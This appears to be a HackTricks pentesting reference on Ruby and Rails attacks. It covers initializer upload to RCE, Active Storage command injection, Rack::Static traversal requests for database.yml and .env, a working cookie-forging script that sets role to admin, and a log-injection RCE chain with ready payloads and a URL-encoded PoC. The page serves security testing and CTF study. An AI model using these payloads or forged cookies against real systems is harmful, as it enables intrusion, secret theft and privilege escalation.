hacktricks/src/network-services-pentesting/pentesting-web/ruby-tricks.md

Ruby Tricks

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File upload to RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

Tips:

• Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., config/initializers/ is the classic one). If you find an arbitrary file upload that lands anywhere under config/ and is later evaluated/required, you may obtain RCE at boot.
• Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

• A vulnerable pattern looks like:

  <%= image_tag blob.variant(params[:t] => params[:v]) %>
  

  where params[:t] and/or params[:v] are attacker-controlled.

• What to try during testing

  • Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
  • Fuzz params[:t] and params[:v] for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
  • If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.

• Remediation/detections

  • If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

• Hunt for apps that mount Rack::Static in config.ru or middleware stacks. Try encoded traversals against static paths, for example:

  GET /assets/%2e%2e/%2e%2e/config/database.yml
  GET /favicon.ico/..%2f..%2f.env
  

  Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.

• Mitigation: upgrade Rack; ensure :root only points to a directory of public files and is explicitly set.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notes:

• Older apps may use AES-256-CBC and salts encrypted cookie / signed encrypted cookie, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
• On compromise/assessment, rotate secret_key_base to invalidate all existing cookies.

See also (Ruby/Rails-specific vulns)

• Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}}
• Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}}

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

When an app (often a simple Rack/Sinatra/Rails endpoint) both:

• logs a user-controlled string verbatim, and
• later loads a file whose path is derived from that same string (after Pathname#cleanpath),

You can often achieve remote code execution by poisoning the log and then coercing the app to load the log file. Key primitives:

• Ruby load evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
• Pathname#cleanpath collapses . and .. segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., ../logs/error.log).

Minimal vulnerable pattern

require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Why the log can contain valid Ruby

Logger writes prefix lines like:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby, # starts a comment and 9/2/2025 is just arithmetic. To inject valid Ruby code you need to:

• Begin your payload on a new line so it is not commented out by the # in the INFO line; send a leading newline (\n or %0A).
• Close the dangling [ introduced by the INFO line. A common trick is to start with ] and optionally make the parser happy with ][0]=1.
• Then place arbitrary Ruby (e.g., system(...)).

Example of what will end up in the log after one request with a crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Smuggling a single string that both logs code and resolves to the log path

We want one attacker-controlled string that:

• when logged raw, contains our Ruby payload, and
• when passed through Pathname.new(<input>).cleanpath, resolves to ../logs/error.log so the subsequent load executes the just-poisoned log file.

Pathname#cleanpath ignores schemes and collapses traversal components, so the following works:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log

• The # before :// ensures Ruby ignores the tail when the log is executed, while cleanpath still reduces the suffix to ../logs/error.log.
• The leading newline breaks out of the INFO line; ] closes the dangling bracket; ][0]=1 satisfies the parser.

End-to-end exploitation

1. Send the following as the backup script name (URL-encode the first newline as %0A if needed):

   \n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
   

2. The app logs your raw string into logs/error.log.
3. The app computes cleanpath which resolves to ../logs/error.log and calls load on it.
4. Ruby executes the code you injected in the log.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (first char is a newline):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

References

• Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
• GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
• Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
• Ruby Pathname.cleanpath docs
• Ruby Logger
• How Ruby load works

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